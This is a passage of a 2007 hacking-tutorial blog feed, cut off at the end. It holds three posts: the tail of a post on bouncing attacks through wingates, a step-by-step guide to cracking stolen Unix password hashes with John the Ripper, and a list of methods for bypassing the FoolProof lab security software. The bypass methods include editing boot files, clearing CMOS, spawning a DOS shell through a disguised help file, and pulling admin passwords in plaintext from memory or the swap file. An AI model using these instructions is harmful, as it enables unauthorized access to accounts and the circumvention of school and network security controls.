holds true for BNCs and wingates.  It's a trick passed around by many hackers to put a wingate on their box and put it on a hacker website's list and wait for people to log into their hacked accounts with it.  I also read somewhere that governments set up wingates to catch hackers, I don't know how true this is.. but it sure is a good way to discurage hackers. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Conclusion &lt;br /&gt;In this issue of Hacking Techniques I went over how and why hackers use proxies, wingates, and shells when attacking and how admins can stop them from using their networks to bounce attacks from.  I think the next issue will be much longer, it will cover many things hackers do once they comprize a system.  I hope everyone learned atleast something from this paper, and I hope I didn't forget anything =)  I am sorry if you felt it was hard to read this tutorial, I had a hard time writting it, it just felt like my words didn't go together right. It may be awhile till I get around to finishing issue #3, thanks for your patients.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-7073355113603413578?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/7073355113603413578/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=7073355113603413578' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/7073355113603413578'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/7073355113603413578'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/hacking-techniques-issue-2-bouncing.html' title='Hacking Techniques: Issue #2 - Bouncing Attacks'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-6229139594027077134</id><published>2007-12-02T01:25:00.001-08:00</published><updated>2007-12-02T01:25:27.321-08:00</updated><title type='text'>Cracking unix password files</title><content type='html'>1) First thing's first &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I guess you're a newbie in pass-cracking like I was and you've probably started John the Ripper full of enthusiasm, and got.... nothing. So the first thought you have is 'my god this must be hard, and I'm a newbie'. Forget it!!! You're always a newbie, and we all are... in pass cracking world, pardon, pass recovering world (or any world else) you always have something to learn. Sometimes, even if you are experienced in password cracking, you won't be able to crack the password or even get your own password. This is a pure technical manual and will give you only the recipe for cracking, but every password needs different approach... &lt;br /&gt;&lt;br /&gt;OK, so a good way to get somewhere is to start getting somewhere... &lt;br /&gt;What you're about to learn is to crack *nix(Unix/Linux/etc.) password files. It does not mean that you need to have some Unix distribution on your box, but it means you'll have to stop clicking your ass off all around the screen... 'What this fool is trying to say', you'll probably ask... This fool is trying to say that john is a DOS program (there is also Linux/Unix version, but I guess that most of the people that read this tutorial have win boxes). I will try to put this tutorial through the examples so it wouldn't look like a boring script with incredible amount of switches. After reading this text it wouldn't be a bad idea to look at the texts you get with John. I learnt it all from there, but that, of course, was the hard way, and you want the easy way, right? Right. &lt;br /&gt;&lt;br /&gt;First, it wouldn't be a bad idea to get yourself John the Ripper, I guess... if you don't have it you can find it at: &lt;br /&gt;&lt;br /&gt;1) packetstorm.securify.com (look at archives, password cracking) &lt;br /&gt;2) neworder.box.sk (do some searching by yourself) &lt;br /&gt;&lt;br /&gt;John can be found practically anywhere. For example: try going to altavista.com and running a search for 'john the ripper'. &lt;br /&gt;&lt;br /&gt;Second thing you'll need is.... a HUUUUGE amount of password dictionaries (I'll explain what these are in a minute). The best dictionary around is at www.theargon.com and packetstorm (look at the archives) and is called theargonlistserver1 and is about 20Mb packed, and over 200Mb &lt;br /&gt;unpacked... get it!!!! The people at theargon did a terrific job. &lt;br /&gt;&lt;br /&gt;You should also get some smaller dictionary files (I'll explain why later). &lt;br /&gt;&lt;br /&gt;2) Do we look like *nix? &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So now you have john, loaded with that huuuuge pass dictionary, and you think that you can crack anything... If you plan to live for 100000 years, that wouldn't be a problem, but you only have some 80 years left in the best case scenario (unless, of course, scientists find a way to... oh, nevermind). &lt;br /&gt;&lt;br /&gt;Now, the first thing is that you have to make sure your password file really looks like a Unix password file (were talking about the /etc/passwd file). &lt;br /&gt;&lt;br /&gt;Let's see how Unix pass files look like &lt;br /&gt;&lt;br /&gt;owner:Ejrt3EJUnh5Ms:510:102:Some free text:/home/subdir/owner:/bin/bash &lt;br /&gt;&lt;br /&gt;The important part is the username and the encrypted password, which are the first and the second parts (each line is divided into seven parts by : symbols) &lt;br /&gt;&lt;br /&gt;owner:Ejrt3EJUnh5Ms &lt;br /&gt;&lt;br /&gt;Owner is the username and 'that other thing' is the crypted password (encrypted in altered DES (Data Encryption Standard) encryption). For the other part you can put anything that looks like that but the structure must be same so the john could recognize it as unix pass. In fact the other part &lt;br /&gt;&lt;br /&gt;:510:102:Some free text:/home/subdir/owner:/bin/bash &lt;br /&gt;&lt;br /&gt;Is just some information about the user, his home directory, etc... &lt;br /&gt;&lt;br /&gt;Sometimes you'll have passes that have only the first and second part, such as password files that you got from a webboard running matt's web board script. &lt;br /&gt;&lt;br /&gt;owner:Ejrt3EJUnh5Ms &lt;br /&gt;&lt;br /&gt;You'll have to put the other part so that password would look like unix pass, and you can do a copy-paste from another pass, you can even use &lt;br /&gt;&lt;br /&gt;:510:102:His name:/home/subdir/owner:/bin/bash &lt;br /&gt;&lt;br /&gt;What you have now should look like: &lt;br /&gt;&lt;br /&gt;owner:Ejrt3EJUnh5Ms:510:102:His name:/home/subdir/owner:/bin/bash &lt;br /&gt;&lt;br /&gt;Hell, you can even put &lt;br /&gt;&lt;br /&gt;owner:Ejrt3EJUnh5Ms:a:a:a:a:a &lt;br /&gt;&lt;br /&gt;It won't matter to john at all. &lt;br /&gt;&lt;br /&gt;3) We're getting somewhere... nowhere &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now you're ready to crack. Type in &lt;br /&gt;&lt;br /&gt;john -w:words.lst password.file &lt;br /&gt;&lt;br /&gt;Where words.lst is password dictionary and password file where you have your password or passwords. If you use it on example i gave to you you'll probably get password because it's really weak pass. You'd be surprised to see that people usually use really weak passes like their names, pet names, or even their username (for example: username=zalabuk, password=zalabuk). &lt;br /&gt;&lt;br /&gt;Hint: Don't be stupid! Use strong passes like &lt;br /&gt;&lt;br /&gt;p4sswr!@ &lt;br /&gt;p@s$w11s &lt;br /&gt;with as many characters you can remember. Hint is to use special characters and numbers those passes are much harder to crack (I'll explain why in a minute). &lt;br /&gt;The other hint is to use passes as long as you can remember, 8 characters are sometimes not enough... it depends what box that someone who cracks has... on dual alpha is certainly not enough... in other words... more than 10 characters will do fine, even more wouldn't hurt (like 16...). By the way, older *nix have fixed pass length of 8 chars... that is old DES crypted pass that uses a 64-bit key... now there are 128-bit keys, and some perverts use even more, so there is more fun now :) &lt;br /&gt;&lt;br /&gt;john -w:words.lst password.file &lt;br /&gt;&lt;br /&gt;Wait wait wait! What am I doing here? &lt;br /&gt;Alright, listen up carefully. The DES encryption that Unix uses CANNOT be reversed. Some encryptions can be reversed using a sometimes simple or sometimes incredibly complicated algorithm (in the 3rd century AD, Ceasar used to send encrypted letters which used a formula of "shift by three", which means that d stands for a, e stands for b etc'. At that time, such an algorithm was just fine. Today, it isn't). &lt;br /&gt;So anyway, the altered DES encryption that Unix uses for it's password files cannot be reversed. Why? Because it's a key-based encryption. The encryption algorithm uses a bunch of letters (lowercase and uppercase), numbers and symbols within the algorithm. So, in other words, to run the decryption algorithm you will need this key, which you simply cannot just have, because the key is the password! You see, when a user picks a password, the system generates an encrypted password for him, called a hash (which is what you get when you somehow acquire a password file), which is created by running this altered DES algorithm using the user's password as a key. If you try to decrypt the password using standard reversable DES encryption, you get a null string. &lt;br /&gt;So how do John and other password crackers do it? Easy. They try to recreate this process by taking passwords out of these dictionary files (or wordlists) and using them as keys for this altered DES algorithm process. Then, they compare the result to all the encrypted passwords within the password file you've given them. If the two strings match - there you have it! The password is yours! &lt;br /&gt;&lt;br /&gt;If the first step doesn't work, the next step would be to do this: &lt;br /&gt;&lt;br /&gt;john -w:words.lst -rules password.file &lt;br /&gt;&lt;br /&gt;This switch turn on not only browsing through the dictionary, but it uses some modifications of the words that are word dictionary (like adding a number at the end of pass - fool -&gt; fool1, etc' etc'). This one will take long with huge pass dictionary, but it may give better results... For a start you could do a try with a small pass dictionary, and if it doesn't works you can try it with a huge pass dictionary. &lt;br /&gt;&lt;br /&gt;Sometimes people are not stupid when they choose passwords and basic rules won't do a job... aaargh. As you've seen it takes more and more time for your CPU to crack this thing out as we go further. Now you can leave your computer on and go to sleep.... &lt;br /&gt;&lt;br /&gt;If you want to get even more possible passwords out of your password file, try typing &lt;br /&gt;&lt;br /&gt;john -i password.file &lt;br /&gt;&lt;br /&gt;This -i stands for incremental cracking, not a really good word for it, but... &lt;br /&gt;Okay, what the hell does it do? It uses the default incremental mode parameters, which are defined in john.ini. &lt;br /&gt;What does this mean? Do you remember -rules? Yes, well, of course you do, unless you're either incredibly senile or you've stopped reading after this part and only came back, like... a couple of years later. That is very much like rules, but much much more powerful than -rules, and it takes much, much more time. &lt;br /&gt;&lt;br /&gt;4) So where are we now (dictionary vs. brute-force)? &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You can see that in all cases you use so-called dictionary cracking... but hell, why not just run John on a mode where it tried all possible combinations of lowercase and uppercase letters, numbers and symbols? I mean, this would be much more efficient, right? ... WROOOOOOONGG!!! &lt;br /&gt;This method is called 'brute-force' attack (basically, dictionary attack is also sort of brute-force attack, but most people use the word brute-force for this specific attack). &lt;br /&gt;What are the differences? First and most important, with dictionary you go through the selected words that could be passwords and their modifications, and with brute force cracking you use ALL possible combinations. That means you have &lt;br /&gt;comb=nrch^let &lt;br /&gt;&lt;br /&gt;where: &lt;br /&gt;&lt;br /&gt;comb - number of possible combinations &lt;br /&gt;nrch - number of chars &lt;br /&gt;let - number of letters used &lt;br /&gt;&lt;br /&gt;In case you're dealing with john's default -i 95 character set and, presume, a 6 letter password you have possible 735091890625 combinations! OUCH!! &lt;br /&gt;Sure, this is useful for passwords like 2405v7, but still... with the computational powers of today's modern PC, I'd just give up, unless I had access to some University's supercomputer, which I'd bet noone would ever give me (well, at least not for free, and certainly not to run a password cracker on it). &lt;br /&gt;As you can see it can take a looooong time until you crack a single one pass, do a little math and try to calculate how many possible combinations there are for 10, 12 and 16 chars. &lt;br /&gt;I don't think you'll like the answer :) &lt;br /&gt;Of course, sometimes dictionary attacks are not enough, but john has very powerful 'thinking'. In 'incremental' mode john will do all possible combinations from 0 to 8 characters (by zero password length is considered a hashed empty string, this sometimes happens). So incremental mode is one sort of brute-force attack in some way... &lt;br /&gt;&lt;br /&gt;If you want to fire all weapons at one then you use &lt;br /&gt;&lt;br /&gt;john password.file &lt;br /&gt;&lt;br /&gt;this will do first basic dictionary attack, then -rules, then -i &lt;br /&gt;&lt;br /&gt;5) What if... &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ok, you have to turn off your box from time to time, don't you? If you're doing that haaard password that will take more than 20 hours of cracking you can set john with ctrl+c and then resume with &lt;br /&gt;&lt;br /&gt;john -restore &lt;br /&gt;&lt;br /&gt;If your box crashes or if there's a power failure, you won't be able to restore your cracking sessions (sometimes)... well that's just too bad. Hell, it happened &lt;br /&gt;to me once :-( &lt;br /&gt;&lt;br /&gt;John is modular, and that is the most powerful thing about john the ripper, and that is what makes john the most advanced password cracker. John is very, very modular. John uses modes that are described in john.ini (do you still remember that incremental cracking i was talking about? Modes for rules and incremental are described in john.ini). &lt;br /&gt;If you're some inventive guy then you may change the parameters in john.ini. &lt;br /&gt;&lt;br /&gt;Here is example how some default parameters for -i look like: &lt;br /&gt;&lt;br /&gt;# Incremental modes &lt;br /&gt;[Incremental:All] &lt;br /&gt;File = ~/all.chr &lt;br /&gt;MinLen = 0 &lt;br /&gt;MaxLen = 8 &lt;br /&gt;CharCount = 95 &lt;br /&gt;&lt;br /&gt;Ok... what do we have here? &lt;br /&gt;&lt;br /&gt;[Incremental:All] - this stands for the beginning of the definition for the -i:all switch &lt;br /&gt;File - filename of file that has characters used in mode -i:all (whole character &lt;br /&gt;set) &lt;br /&gt;MinLen - logically, minimum length of password that john -i:all would try &lt;br /&gt;MaxLen - even more logical, maximum length of password that will john -i:all try &lt;br /&gt;CharCount - number of chars used by john when you 'turn on' this switch &lt;br /&gt;&lt;br /&gt;So, there are some more switches... heh &lt;br /&gt;Yes there are and down there are all default modes pasted from john the ripper's documents: &lt;br /&gt;&lt;br /&gt;John the Ripper's Command Line Options &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You can list any number of password files on John's command line, and also &lt;br /&gt;specify some of the following options (all of them are case sensitive, but &lt;br /&gt;can be abbreviated; you can also use the GNU-style long options syntax): &lt;br /&gt;&lt;br /&gt;single "single crack" mode Enables the "single crack" mode, using rules from [List.Rules:Single]. &lt;br /&gt;wordfile:FILE wordlist mode, read words from FILE, &lt;br /&gt;stdin or from stdin These are used to enable the wordlist mode. &lt;br /&gt;rules enable rules for wordlist mode Enables wordlist rules, that are read from [List.Rules:Wordlist]. &lt;br /&gt;incremental[:MODE] incremental mode [using section MODE] Enables the incremental mode, using the specified ~/john.ini definition (section [Incremental:MODE], or [Incremental:All] by default). &lt;br /&gt;external:MODE external mode or word filter Enables an external mode, using external functions defined in ~/john.ini's [List.External:MODE] section. &lt;br /&gt;stdout[:LENGTH] no cracking, write words to stdout When used with a cracking mode, except for "single crack", makes John print the words it generates to stdout instead of cracking. While applying &lt;br /&gt;wordlist rules, the significant password length is assumed to be LENGTH, or unlimited by default. &lt;br /&gt;restore[:FILE] restore an interrupted session Continues an interrupted cracking session, reading point information from the specified file (~/restore by default). &lt;br /&gt;session:FILE set session file name to FILE Allows you to specify another point information file's name to use for this cracking session. This is useful for running multiple instances of John in parallel, or just to be able to recover an older session later, not always continue the latest one. &lt;br /&gt;status[:FILE] print status of a session [from FILE] Prints status of an interrupted or running session. To get an up to date status information of a detached running session, send that copy of John a SIGHUP before using this option. &lt;br /&gt;makechars:FILE make a charset, overwriting FILE Generates a charset file, based on character frequencies from ~/john.pot, for use with the incremental mode. The entire ~/john.pot will be used for &lt;br /&gt;the charset file unless you specify some password files. You can also use an external filter() routine with this option. &lt;br /&gt;show show cracked passwords Shows the cracked passwords in a convenient form. You should also specify the password files. You can use this option while another John is cracking, to see what it did so far. &lt;br /&gt;test perform a benchmark Benchmarks all the enabled ciphertext format crackers, and tests them for &lt;br /&gt;correct operation at the same time. &lt;br /&gt;users:[-]LOGIN|UID[,..] load this (these) user(s) only Allows you to filter a few accounts for cracking, etc. A dash before the list can be used to invert the check (that is, load all the users that aren't listed). &lt;br /&gt;groups:[-]GID[,..] load this (these) group(s) only Tells John to load users of the specified group(s) only. &lt;br /&gt;shells:[-]SHELL[,..] load this (these) shell(s) only This option is useful to load accounts with a valid shell only, or not to load accounts with a bad shell. You can omit the path before a shell name, so '-shells:csh' will match both '/bin/csh' and '/usr/bin/csh', while '-shells:/bin/csh' will only match '/bin/csh'. &lt;br /&gt;salts:[-]COUNT set a passwords per salt limit This feature sometimes allows to achieve better performance. For example you can crack only some salts using '-salts:2' faster, and then crack the &lt;br /&gt;rest using '-salts:-2'. Total cracking time will be about the same, but you will get some passwords cracked earlier. &lt;br /&gt;format:NAME force ciphertext format NAME &lt;br /&gt;Allows you to override the ciphertext format detection. Currently, valid &lt;br /&gt;format names are DES, BSDI, MD5, BF, AFS, LM. You can use this option when &lt;br /&gt;cracking or with '-test'. Note that John can't crack password files with &lt;br /&gt;different ciphertext formats at the same time. &lt;br /&gt;savemem:LEVEL enable memory saving, at LEVEL 1..3 &lt;br /&gt;You might need this option if you don't have enough memory, or don't want &lt;br /&gt;John to affect other processes too much. Level 1 tells John not to waste &lt;br /&gt;memory on login names, so you won't see them while cracking. Higher levels &lt;br /&gt;have a performance impact: you should probably avoid using them unless John &lt;br /&gt;doesn't work or gets into swap otherwise. &lt;br /&gt;6) Tips &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I) A good schedule to do your cracking job is &lt;br /&gt;&lt;br /&gt;john -w:words.lst password.file &lt;br /&gt;&lt;br /&gt;john -w:words.lst -rules password.file &lt;br /&gt;&lt;br /&gt;john -w:words.lst password.file &lt;br /&gt;&lt;br /&gt;john -i:digits password.file &lt;br /&gt;&lt;br /&gt;john -i:all password.file &lt;br /&gt;&lt;br /&gt;II) If you have a file that has only passes that look like &lt;br /&gt;&lt;br /&gt;owner:*:510:102:His name:/home/subdir/owner:/bin/bash &lt;br /&gt;&lt;br /&gt;you have a shadowed passwords file. &lt;br /&gt;Go to the Byte-Me page at blacksun.box.sk and try to find out more about &lt;br /&gt;password files (I'll leave it up to you to do this. It's important that you'll &lt;br /&gt;learn how to find things by yourself). &lt;br /&gt;&lt;br /&gt;III) You have some little tools that you get with john, they are all &lt;br /&gt;listed below (from john's docs) &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;unshadow PASSWORD-FILE SHADOW-FILE &lt;br /&gt;Combines the passwd and shadow files (when you already have access to &lt;br /&gt;both) for use with John. You might need this since if you only used your &lt;br /&gt;shadow file, the GECOS information wouldn't be used by the "single crack" &lt;br /&gt;mode, and also you wouldn't be able to use the '-shells' option. You'll &lt;br /&gt;usually want to redirect the output of 'unshadow' to a file. &lt;br /&gt;&lt;br /&gt;unafs DATABASE-FILE CELL-NAME &lt;br /&gt;Gets password hashes out of the binary AFS database, and produces a file &lt;br /&gt;usable by John (again, you should redirect the output yourself). &lt;br /&gt;&lt;br /&gt;unique OUTPUT-FILE &lt;br /&gt;Removes duplicates from a wordlist (read from stdin), without changing &lt;br /&gt;the order. You might want to use this with John's '-stdout' option, if &lt;br /&gt;you got a lot of disk space to trade for the reduced cracking time. &lt;br /&gt;&lt;br /&gt;mailer PASSWORD-FILE &lt;br /&gt;A shell script to send mail to all the users who got weak passwords. You &lt;br /&gt;should edit the message inside before using. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So, that was about it... hope you've got something from this text. &lt;br /&gt;Further readings: try reading ALL the documentation you get with john in the docs &lt;br /&gt;directory. Maybe it's a little bit chaotic, but.... man those are the docs :) &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ohh, wait, wait!! &lt;br /&gt;Remember, not all password files can be cracked! Smart admins alter the &lt;br /&gt;encryption that they are using, especially when it comes to root passwords. &lt;br /&gt;But there are always other ways to get passwords. These are covered in other &lt;br /&gt;BSRF tutorials. Collect them all (lol) at http://blacksun.box.sk.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-6229139594027077134?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/6229139594027077134/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=6229139594027077134' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/6229139594027077134'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/6229139594027077134'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/cracking-unix-password-files.html' title='Cracking unix password files'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-887841099624198515</id><published>2007-12-02T01:23:00.000-08:00</published><updated>2007-12-02T01:24:44.735-08:00</updated><title type='text'>Various ways to hack or over-ride</title><content type='html'>There are various ways of HACKING or Over-riding FoolProof. First off, &lt;br /&gt;let me give you a little bit of information about FoolProof. FOo0l &lt;br /&gt;Pro0F was developed my SmartStuff and is a program that is used by &lt;br /&gt;most schools in order to prvent unwanted users from changing system &lt;br /&gt;files and to stop them from doing specific acts. Such acts could &lt;br /&gt;include RIGHT-CLICKING, COPYING, RENAMING, USING DOS, etc... &lt;br /&gt;&lt;br /&gt;Method 1 &lt;br /&gt;&lt;br /&gt;This is a method my friend and I discovered. We were on a Windows 98 platform. &lt;br /&gt;&lt;br /&gt;1.Step one is preperation.  You need to enter the system's BIOS setup (usually by pressing DEL or F2, it will say on the boot &lt;br /&gt;screen) right away at startup.  Make sure that the computer reads from the A:\ drive &lt;br /&gt;before it goes to C:\. &lt;br /&gt;&lt;br /&gt;You will also need to aquire a Windows boot disk.  Put Edit.com on the &lt;br /&gt;boot disk as &lt;br /&gt;well.  It's available on my site. &lt;br /&gt;&lt;br /&gt;2.Boot up the computer with the boot disk in the disk drive.  Select &lt;br /&gt;start the &lt;br /&gt;computer without cd support.  Let the computer run its course, it will &lt;br /&gt;take about &lt;br /&gt;a minute.  Eventually you will get to a C: prompt.  Change to an A: &lt;br /&gt;prompt. &lt;br /&gt;&lt;br /&gt;3.Once you have the A: prompt, open up Edit.com. &lt;br /&gt;&lt;br /&gt;4.In Edit.com, go to open, then search in C:\Windows and find WIN.INI. &lt;br /&gt;Open it. &lt;br /&gt;&lt;br /&gt;5.Scroll down through the WIN.INI file and find a section that starts &lt;br /&gt;off: &lt;br /&gt;[Foolproof].  Delete that entire section.  This is the code that makes &lt;br /&gt;Foolproof open &lt;br /&gt;every time you boot windows.  By deleting it, you are preventing &lt;br /&gt;Foolproof from opening. &lt;br /&gt;MAKE SURE TO SAVE THE WIN.INI FILE BEFORE EXITING! &lt;br /&gt;&lt;br /&gt;6.From here you are free to do whatever you want in Windows.  I &lt;br /&gt;suggest going into C: &lt;br /&gt;and locating Unfool.exe.  It is Foolproof's uninstall program. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;~^AmnesiA^~ Method 2 &lt;br /&gt;///////////////////// &lt;br /&gt;&lt;br /&gt;This is a method i discovered &lt;br /&gt;on my own a little later. &lt;br /&gt;I was working on a WIN98 platform once again. &lt;br /&gt;&lt;br /&gt;This time, security was damn strict on the &lt;br /&gt;machine.  The entire C:\ drive was masked and could &lt;br /&gt;not be accessed, not even in DOS!  Belive me, I tried &lt;br /&gt;everything, and nothing was working.  Security was so &lt;br /&gt;tight on this comp, it was pretty much a high tech &lt;br /&gt;paperweight. &lt;br /&gt;&lt;br /&gt;This was very frustrating, but I finally found a way around it. &lt;br /&gt;&lt;br /&gt;1. Step one is again preperation.  Make sure that the computer boots &lt;br /&gt;from A:\ first &lt;br /&gt;by going into the BIOS. &lt;br /&gt;&lt;br /&gt;Have a Win98 boot disk ready.  On this disk have Edit.com and &lt;br /&gt;CMOSKILLA, both downloadable &lt;br /&gt;from my site. &lt;br /&gt;&lt;br /&gt;2. Boot from the Win98 boot disk.  Select start computer without CD &lt;br /&gt;support.  Wait until &lt;br /&gt;you get your C:\ prompt, and again, revert to the A:\ prompt.  Run &lt;br /&gt;CMOS Killa. &lt;br /&gt;&lt;br /&gt;This will make the computer beep for a second, then it will restart &lt;br /&gt;itself. &lt;br /&gt;&lt;br /&gt;3. Again, boot up the computer from the boot disk and select no CD &lt;br /&gt;support.  This time &lt;br /&gt;at the C:\ promt, use the DIR command and see if the drives are still &lt;br /&gt;masked.  If they &lt;br /&gt;are, then CMOS Killa didn't help, and until I think of something new, &lt;br /&gt;you're S.O.L. &lt;br /&gt;&lt;br /&gt;If you can see the all of C:\, then refer to method one for further &lt;br /&gt;instructions on &lt;br /&gt;what to do with Edit.com &lt;br /&gt;&lt;br /&gt;OR!!!!! &lt;br /&gt;&lt;br /&gt;Try some other methods yourself.  Now that you can see the drives, you &lt;br /&gt;can try running &lt;br /&gt;C:\unfool.exe.  You might want to try booting in safe mode now, &lt;br /&gt;because it should work. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;NINJA Technique 1 &lt;br /&gt;///////////////////// &lt;br /&gt;&lt;br /&gt;You can do these things as long as you have access &lt;br /&gt;to C:\.  Refer to my methods numbers 1 and 2. &lt;br /&gt;&lt;br /&gt;1.Go into the Autoexec.bat with edit.com and delete FPTSR.exe &lt;br /&gt;&lt;br /&gt;2.Go into Config.sys with edit.com and delete the line device=fp &lt;br /&gt;&lt;br /&gt;3.Run REGEDIT.EXE. You have to remove FoolProof from the Registry, &lt;br /&gt;too. Use the Regedit search feature to find references to Fool Proof. &lt;br /&gt;Find the Registry backup files and make copies with different names &lt;br /&gt;just in case. Making a mistake with the Registry can cause spectacular &lt;br /&gt;messes! &lt;br /&gt;Save the registry, and reboot. FoolProof won't load. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;_________________ &lt;br /&gt;I got these last two from another page...i don't remember &lt;br /&gt;which, but I don't want to make people think I thought of shit &lt;br /&gt;when it really wasn't me. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;~ShadoW^ Method 1 &lt;br /&gt;////////////////// &lt;br /&gt;&lt;br /&gt;1) Boot up in Safe Mode bypasses FoolProof's TSR making it possible &lt;br /&gt;for the user to delete &lt;br /&gt;    the FoolProof's directory. &lt;br /&gt;&lt;br /&gt;My comments: &lt;br /&gt;    This can be tricky because many times FoolProof blocks hotkeys &lt;br /&gt;which allow &lt;br /&gt;    you to boot in safe mode.  I have even tried turning off the &lt;br /&gt;computer halfway &lt;br /&gt;    through a boot and then starting up again, and still I couldn't &lt;br /&gt;drop into safe &lt;br /&gt;    mode.  So try this if you want, but I haven't had much success &lt;br /&gt;with it. &lt;br /&gt;&lt;br /&gt;2) Holding the key under Macintosh prevents FoolProof's &lt;br /&gt;module from loading. &lt;br /&gt;&lt;br /&gt;My comments: &lt;br /&gt;    I have no experience with FoolProof on Macs so I have no idea if &lt;br /&gt;this works. &lt;br /&gt;&lt;br /&gt;3) Creating a copy of 'command.com' with the name of 'temp.txt' (for &lt;br /&gt;example), then opening &lt;br /&gt;    it up with wordpad, and saving it as 'c:\windows\help\wordpad.hlp' &lt;br /&gt;(make sure you don't &lt;br /&gt;    convert the file), then simply click on the HELP feature under the &lt;br /&gt;START menu, and you will &lt;br /&gt;    be dropped into dos. &lt;br /&gt;&lt;br /&gt;My comments: &lt;br /&gt;    This sounds all good and dandy, but I have never seen a system &lt;br /&gt;running FoolProof that &lt;br /&gt;    actually allows the user to access the help option.  So if you &lt;br /&gt;have access to help, go &lt;br /&gt;    ahead and try. &lt;br /&gt;&lt;br /&gt;4) Use the 'echo' command to overwrite FoolProof's files (i.e. &lt;br /&gt;execute the following command &lt;br /&gt;    'echo Hi &gt; c:\fool95\fooltsr.exe', 'fool95' stands for the &lt;br /&gt;directory FoolProof is installed in). &lt;br /&gt;&lt;br /&gt;My comments: &lt;br /&gt;    I assume whoever came up with this idea wants this done in DOS or &lt;br /&gt;with a batch file.  The &lt;br /&gt;    systems I have used haven't allowed batch files to be run, and &lt;br /&gt;have made it tricky to get &lt;br /&gt;    into DOS. &lt;br /&gt;&lt;br /&gt;5) Grab the administrator password by locating it in the swap file &lt;br /&gt;crated by Windows 95. You &lt;br /&gt;    can accomplish this by simply finding the string 'FOOLPROO', and &lt;br /&gt;the string after that will be &lt;br /&gt;    the administrator password. &lt;br /&gt;&lt;br /&gt;My comments: &lt;br /&gt;    You will need a hex editor.  Check for a link on the site. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;~ShadoW^ Method 2 &lt;br /&gt;////////////////// &lt;br /&gt;&lt;br /&gt;I modified this text to save space.  I pretty much just cut &lt;br /&gt;it down to the main points.  Most of the stuff here pretains to &lt;br /&gt;Windows 3x versions.  Take a look and see if you see anything &lt;br /&gt;handy. &lt;br /&gt;_____________________________________________________________________ &lt;br /&gt;&lt;br /&gt;All my information pertains directly to &lt;br /&gt;versions 3.0 and 3.3 of both the 3.x and &lt;br /&gt;95 versions but should be good for all &lt;br /&gt;early versions if they exist. &lt;br /&gt;&lt;br /&gt;My first success with breaking FoolProof passwords came by using &lt;br /&gt;a hex editor to scan the windows swap file for anything that might be &lt;br /&gt;of &lt;br /&gt;interest.  In the swap file I found the password in plain text.  I was &lt;br /&gt;surprised but thought that it was something that would be simply &lt;br /&gt;unavoidable and unpredictable.  Later though I used a memory editor on &lt;br /&gt;the machine (95 loves it when I do that) and found that FoolProof &lt;br /&gt;stores &lt;br /&gt;a copy of the user password IN PLAIN TEXT inside its TSR's memory &lt;br /&gt;space. &lt;br /&gt;&lt;br /&gt;To find a FoolProof password, simply search through conventional &lt;br /&gt;memory for the string "FOOLPROO" (I don't knowwhat they did with that &lt;br /&gt;last "F") and the next 128 bytes or so should contain two plaintext &lt;br /&gt;passwords followed by the hot-key assignment.  For some 